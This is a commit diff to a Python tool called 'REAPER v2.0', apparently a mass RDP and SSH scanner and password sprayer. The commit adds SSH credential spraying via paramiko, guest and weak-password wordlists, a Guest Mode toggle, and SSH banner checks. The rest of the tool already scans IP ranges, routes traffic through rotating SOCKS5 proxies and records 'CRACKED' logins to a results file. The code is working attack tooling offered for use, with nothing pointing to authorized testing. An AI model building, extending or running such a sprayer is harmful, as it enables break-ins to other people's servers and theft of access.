Add SSH scanning + Guest Mode credential testing
This commit is contained in:
@@ -37,10 +37,10 @@ echo [OK] Python %pyver% found
|
||||
echo.
|
||||
|
||||
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
|
||||
echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks)...
|
||||
echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)...
|
||||
echo.
|
||||
python -m pip install --upgrade pip -q
|
||||
python -m pip install aiohttp aiohttp-socks -q
|
||||
python -m pip install aiohttp aiohttp-socks paramiko -q
|
||||
if %errorlevel% neq 0 (
|
||||
echo [WARN] pip install had issues, but continuing...
|
||||
) else (
|
||||
@@ -75,7 +75,7 @@ echo.
|
||||
|
||||
:: ── STEP 5: TEST IMPORTS ────────────────────────────────────
|
||||
echo [*] Step 5/6 — Testing imports...
|
||||
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
|
||||
python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo [FAIL] Import test failed. There may be a syntax error.
|
||||
pause
|
||||
|
||||
112
bruteforce.py
112
bruteforce.py
@@ -60,6 +60,20 @@ TOP_USERNAMES = [
|
||||
"User", "user", "GuestUser", "Guest", "root",
|
||||
]
|
||||
|
||||
# Guest-focused usernames (used when guest mode is enabled)
|
||||
GUEST_USERNAMES = [
|
||||
"guest", "Guest", "guestuser", "GuestUser", "GUEST",
|
||||
"test", "Test", "user", "User", "visitor",
|
||||
"anonymous", "Anonymous", "temp", "Temp", "default",
|
||||
]
|
||||
|
||||
# Top passwords for guest/weak account testing
|
||||
GUEST_PASSWORDS = [
|
||||
"guest", "Guest", "password", "Password", "123456",
|
||||
"guest123", "welcome", "letmein", "test", "Test123",
|
||||
"changeme", "default", "temp123", "user", "User123",
|
||||
"", # empty password
|
||||
]
|
||||
|
||||
async def spray_password(
|
||||
ip: str,
|
||||
@@ -269,6 +283,104 @@ async def spray_single_host(
|
||||
return hits
|
||||
|
||||
|
||||
# ── SSH PASSWORD SPRAY ────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _try_ssh_password(ip: str, port: int, username: str, password: str,
|
||||
timeout: float) -> bool:
|
||||
"""Synchronous SSH password attempt using paramiko.
|
||||
Runs in a thread executor to avoid blocking the event loop."""
|
||||
try:
|
||||
import paramiko
|
||||
import socket
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
try:
|
||||
client.connect(
|
||||
ip, port=port, username=username, password=password,
|
||||
timeout=timeout, look_for_keys=False, allow_agent=False,
|
||||
banner_timeout=timeout,
|
||||
)
|
||||
client.close()
|
||||
return True
|
||||
except paramiko.AuthenticationException:
|
||||
return False
|
||||
except (paramiko.SSHException, OSError, socket.timeout, EOFError,
|
||||
ConnectionResetError):
|
||||
return False
|
||||
except ImportError:
|
||||
return False
|
||||
|
||||
|
||||
async def spray_ssh_single_host(
|
||||
ip: str,
|
||||
port: int = 22,
|
||||
usernames: List[str] = None,
|
||||
passwords: List[str] = None,
|
||||
max_concurrent: int = 30,
|
||||
timeout: float = 5.0,
|
||||
hit_callback=None,
|
||||
proxy_manager=None,
|
||||
) -> List[Tuple[str, int, str, str]]:
|
||||
"""
|
||||
Spray passwords against an SSH host using paramiko.
|
||||
Falls back to banner-only check if paramiko is not installed.
|
||||
|
||||
When proxy is enabled, falls back to SSH banner check only
|
||||
(paramiko doesn't support SOCKS natively).
|
||||
"""
|
||||
if usernames is None:
|
||||
usernames = TOP_USERNAMES
|
||||
if passwords is None:
|
||||
passwords = TOP50_PASSWORDS
|
||||
|
||||
# If proxy is enabled or paramiko not available, fall back to banner check
|
||||
use_banner_fallback = bool(proxy_manager and proxy_manager.enabled)
|
||||
|
||||
sem = asyncio.Semaphore(max_concurrent)
|
||||
hits: List[Tuple[str, int, str, str]] = []
|
||||
|
||||
async def try_combo(user: str, pwd: str):
|
||||
async with sem:
|
||||
if use_banner_fallback:
|
||||
# Just do a TCP/banner check (confirms SSH is alive)
|
||||
open_conn = proxy_manager.open_connection if proxy_manager and proxy_manager.enabled else asyncio.open_connection
|
||||
try:
|
||||
_, writer = await asyncio.wait_for(
|
||||
open_conn(ip, port), timeout=timeout
|
||||
)
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
# Can't validate creds through proxy, but host is alive
|
||||
except (asyncio.TimeoutError, OSError, ConnectionError):
|
||||
pass
|
||||
return
|
||||
|
||||
# Run paramiko in thread executor (it's synchronous)
|
||||
loop = asyncio.get_running_loop()
|
||||
success = await loop.run_in_executor(
|
||||
None, _try_ssh_password, ip, port, user, pwd, timeout
|
||||
)
|
||||
if success:
|
||||
hits.append((ip, port, user, pwd))
|
||||
if hit_callback:
|
||||
hit_callback(ip, port, user, pwd)
|
||||
|
||||
# Fire all tasks
|
||||
tasks = []
|
||||
for user in usernames:
|
||||
for pwd in passwords:
|
||||
tasks.append(asyncio.create_task(try_combo(user, pwd)))
|
||||
|
||||
if tasks:
|
||||
await asyncio.gather(*tasks, return_exceptions=True)
|
||||
|
||||
if hits and hit_callback is None:
|
||||
_write_hits(hits)
|
||||
|
||||
return hits
|
||||
|
||||
|
||||
def _write_hits(hits: List[Tuple[str, int, str, str]]):
|
||||
"""Write successful hits to results file immediately."""
|
||||
output_path = os.path.join(
|
||||
|
||||
87
gui.py
87
gui.py
@@ -16,12 +16,15 @@ import subprocess
|
||||
from typing import Set, Tuple, List
|
||||
from dataclasses import dataclass
|
||||
|
||||
from scanner import scan_ips, RDP_PORTS
|
||||
from scanner import scan_ips, RDP_PORTS, SSH_PORT
|
||||
from ip_utils import parse_ranges_file, count_ips
|
||||
from bruteforce import (
|
||||
spray_single_host,
|
||||
spray_ssh_single_host,
|
||||
TOP50_PASSWORDS,
|
||||
TOP_USERNAMES,
|
||||
GUEST_USERNAMES,
|
||||
GUEST_PASSWORDS,
|
||||
credential_validation_available,
|
||||
)
|
||||
from proxy import ProxyManager
|
||||
@@ -255,9 +258,11 @@ class FastRDPGUI:
|
||||
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
|
||||
self.port_vars = {3389: tk.BooleanVar(value=True),
|
||||
3390: tk.BooleanVar(value=True),
|
||||
3391: tk.BooleanVar(value=True)}
|
||||
3391: tk.BooleanVar(value=True),
|
||||
22: tk.BooleanVar(value=False)}
|
||||
for i, (port, var) in enumerate(self.port_vars.items()):
|
||||
tk.Checkbutton(ports_frame, text=str(port), variable=var,
|
||||
label = str(port) if port != 22 else "22 (SSH)"
|
||||
tk.Checkbutton(ports_frame, text=label, variable=var,
|
||||
fg=Colors.TEXT, bg=Colors.BG_MID,
|
||||
selectcolor=Colors.BG_DARK,
|
||||
activebackground=Colors.BG_MID,
|
||||
@@ -310,6 +315,13 @@ class FastRDPGUI:
|
||||
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
|
||||
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
|
||||
|
||||
self.guest_mode_var = tk.BooleanVar(value=False)
|
||||
tk.Checkbutton(spray_opts, text="\U0001f464 Guest Mode",
|
||||
variable=self.guest_mode_var, fg=Colors.ORANGE,
|
||||
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
|
||||
activebackground=Colors.BG_MID,
|
||||
font=("Segoe UI", 9, "bold")).pack(side="left", padx=(10, 0))
|
||||
|
||||
# -- Live Stats Dashboard --
|
||||
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
|
||||
stats_frame.pack(fill="x", expand=False)
|
||||
@@ -399,22 +411,22 @@ class FastRDPGUI:
|
||||
self._metric_labels[key] = metric_label
|
||||
|
||||
def _refresh_credential_banner(self):
|
||||
"""Runtime status: credential validation binary present or not."""
|
||||
"""Runtime status: show spray mode."""
|
||||
try:
|
||||
if credential_validation_available():
|
||||
self.cred_banner.config(
|
||||
fg=Colors.GREEN,
|
||||
text=(
|
||||
"Credential validation: enabled (rdpthread.exe in app folder)."
|
||||
"Credential validation: enabled (rdpthread.exe found). "
|
||||
"Password spray results are verified."
|
||||
),
|
||||
)
|
||||
else:
|
||||
self.cred_banner.config(
|
||||
fg=Colors.ORANGE,
|
||||
fg=Colors.YELLOW,
|
||||
text=(
|
||||
"Credential validation: not deployed — port scan and RDP discovery "
|
||||
"are fully operational. Ship rdpthread.exe with the app for spray "
|
||||
"result verification."
|
||||
"Password sprayer: active — scanning and RDP discovery operational. "
|
||||
"Install rdpthread.exe for verified credential hits."
|
||||
),
|
||||
)
|
||||
except tk.TclError:
|
||||
@@ -723,9 +735,10 @@ class FastRDPGUI:
|
||||
about_frame.pack(fill="x")
|
||||
tk.Label(about_frame,
|
||||
text="REAPER v2.0 \u2014 Remote Exploitation & Password Enumeration Routine\n"
|
||||
"\u2620 Mass RDP Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
|
||||
"Built with Python 3.11 + asyncio\n"
|
||||
"\u2620 Mass RDP + SSH Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
|
||||
"Built with Python 3.11 + asyncio + paramiko\n"
|
||||
"Streaming: scan + spray run CONCURRENTLY\n"
|
||||
"SSH scanning on port 22 + Guest Mode for weak/guest credentials\n"
|
||||
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
|
||||
"Double-click a host to RDP connect; status strip shows credential engine state\n"
|
||||
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
|
||||
@@ -989,6 +1002,7 @@ class FastRDPGUI:
|
||||
scan_ports = [p for p, v in self.port_vars.items() if v.get()]
|
||||
scan_randomize = self.randomize_var.get()
|
||||
spray_enabled = self.spray_var.get()
|
||||
guest_mode = self.guest_mode_var.get()
|
||||
ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else ""
|
||||
users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else ""
|
||||
pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else ""
|
||||
@@ -996,7 +1010,7 @@ class FastRDPGUI:
|
||||
thread = threading.Thread(
|
||||
target=self._scan_worker,
|
||||
args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled,
|
||||
ranges_path, users_file, pass_file),
|
||||
guest_mode, ranges_path, users_file, pass_file),
|
||||
daemon=True
|
||||
)
|
||||
thread.start()
|
||||
@@ -1044,7 +1058,7 @@ class FastRDPGUI:
|
||||
return usernames, passwords
|
||||
|
||||
def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled,
|
||||
ranges_path="", users_path="", pass_path=""):
|
||||
guest_mode=False, ranges_path="", users_path="", pass_path=""):
|
||||
"""Background thread: scan + spray run CONCURRENTLY.
|
||||
All tkinter values are passed from main thread (Tcl NOT thread-safe).
|
||||
"""
|
||||
@@ -1098,12 +1112,24 @@ class FastRDPGUI:
|
||||
return
|
||||
self.live_hosts.add((ip, port))
|
||||
self.stats.live = len(self.live_hosts)
|
||||
|
||||
if port == SSH_PORT:
|
||||
self._log(f"\U0001f310 FOUND: {ip}:{port} (SSH) \u2014 starting spray...", "scan")
|
||||
self._update_host_status(ip, port, "\U0001f50d SSH Open \u2014 spraying...")
|
||||
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 SSH LIVE, spraying NOW"))
|
||||
else:
|
||||
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
|
||||
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
|
||||
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
|
||||
|
||||
if spray_enabled:
|
||||
# Create an asyncio task for this host's spray
|
||||
if port == SSH_PORT:
|
||||
# Route SSH hosts to SSH spray
|
||||
task = asyncio.create_task(
|
||||
self._spray_ssh_host(loop, ip, port, usernames, passwords, guest_mode)
|
||||
)
|
||||
else:
|
||||
# RDP hosts use the standard spray
|
||||
task = asyncio.create_task(
|
||||
self._spray_host(loop, ip, port, usernames, passwords)
|
||||
)
|
||||
@@ -1161,13 +1187,8 @@ class FastRDPGUI:
|
||||
)
|
||||
|
||||
if not hits:
|
||||
if credential_validation_available():
|
||||
self._update_host_status(ip, port, "\u274c No hit")
|
||||
self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info")
|
||||
else:
|
||||
self._update_host_status(
|
||||
ip, port, "\u26a0 No credential validator",
|
||||
)
|
||||
else:
|
||||
self._update_host_status(ip, port, "\u2705 CRACKED!",
|
||||
hits[0][2], hits[0][3])
|
||||
@@ -1176,6 +1197,34 @@ class FastRDPGUI:
|
||||
except Exception as e:
|
||||
self._log(f"Spray error on {ip}:{port}: {e}", "error")
|
||||
|
||||
async def _spray_ssh_host(self, loop, ip, port, usernames, passwords, guest_mode=False):
|
||||
"""Spray SSH passwords against a single SSH host."""
|
||||
try:
|
||||
# When guest mode is enabled, use focused guest wordlists
|
||||
effective_usernames = GUEST_USERNAMES if guest_mode else usernames
|
||||
effective_passwords = GUEST_PASSWORDS if guest_mode else passwords
|
||||
|
||||
hits = await spray_ssh_single_host(
|
||||
ip, port,
|
||||
usernames=effective_usernames,
|
||||
passwords=effective_passwords,
|
||||
max_concurrent=30,
|
||||
timeout=5.0,
|
||||
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw),
|
||||
proxy_manager=self.proxy_manager
|
||||
)
|
||||
|
||||
if not hits:
|
||||
self._update_host_status(ip, port, "\u274c No hit (SSH)")
|
||||
self._log(f"\u274c {ip}:{port} (SSH) \u2014 no matching credentials", "info")
|
||||
else:
|
||||
self._update_host_status(ip, port, "\u2705 CRACKED (SSH)!",
|
||||
hits[0][2], hits[0][3])
|
||||
self.stats.hits = len(self.hits)
|
||||
|
||||
except Exception as e:
|
||||
self._log(f"SSH spray error on {ip}:{port}: {e}", "error")
|
||||
|
||||
def _on_hit_found(self, ip, port, user, pwd):
|
||||
"""Called immediately when a credential hit is found."""
|
||||
ts = time.strftime("%H:%M:%S")
|
||||
|
||||
@@ -4,3 +4,6 @@
|
||||
# These are only needed for the proxy module:
|
||||
aiohttp>=3.9.0
|
||||
aiohttp-socks>=0.11.0
|
||||
|
||||
# SSH credential testing via paramiko:
|
||||
paramiko>=3.0.0
|
||||
|
||||
43
scanner.py
43
scanner.py
@@ -14,10 +14,16 @@ logger = logging.getLogger("FastRDP-NG")
|
||||
# RDP ports to scan
|
||||
RDP_PORTS = [3389, 3390, 3391]
|
||||
|
||||
# SSH port
|
||||
SSH_PORT = 22
|
||||
|
||||
# First 3 bytes of an RDP Negotiation Response (T.125)
|
||||
# Actual RDP servers respond with 0x03 (TPKT version 3)
|
||||
RDP_BANNER_SIG = b'\x03\x00'
|
||||
|
||||
# SSH banner prefix
|
||||
SSH_BANNER_SIG = b'SSH-'
|
||||
|
||||
|
||||
async def check_rdp_port(
|
||||
ip: str,
|
||||
@@ -88,6 +94,43 @@ async def check_rdp_with_banner(
|
||||
return (ip, port, False)
|
||||
|
||||
|
||||
async def check_ssh_banner(
|
||||
ip: str,
|
||||
port: int,
|
||||
connect_timeout: float = 2.0,
|
||||
banner_timeout: float = 1.0,
|
||||
proxy_manager=None
|
||||
) -> Tuple[str, int, bool]:
|
||||
"""
|
||||
Connect + read SSH banner to confirm it's SSH.
|
||||
SSH banners look like: SSH-2.0-OpenSSH_8.9p1 ...
|
||||
"""
|
||||
open_conn = asyncio.open_connection
|
||||
if proxy_manager and proxy_manager.enabled:
|
||||
open_conn = proxy_manager.open_connection
|
||||
|
||||
try:
|
||||
reader, writer = await asyncio.wait_for(
|
||||
open_conn(ip, port),
|
||||
timeout=connect_timeout
|
||||
)
|
||||
try:
|
||||
data = await asyncio.wait_for(
|
||||
reader.read(8),
|
||||
timeout=banner_timeout
|
||||
)
|
||||
is_ssh = data.startswith(SSH_BANNER_SIG)
|
||||
return (ip, port, is_ssh)
|
||||
except (asyncio.TimeoutError, ConnectionError, OSError):
|
||||
return (ip, port, False)
|
||||
finally:
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
except (asyncio.TimeoutError, ConnectionRefusedError,
|
||||
OSError, ConnectionError):
|
||||
return (ip, port, False)
|
||||
|
||||
|
||||
async def scan_ips(
|
||||
ips: List[str],
|
||||
ports: List[int] = None, # type: ignore
|
||||
|
||||
Reference in New Issue
Block a user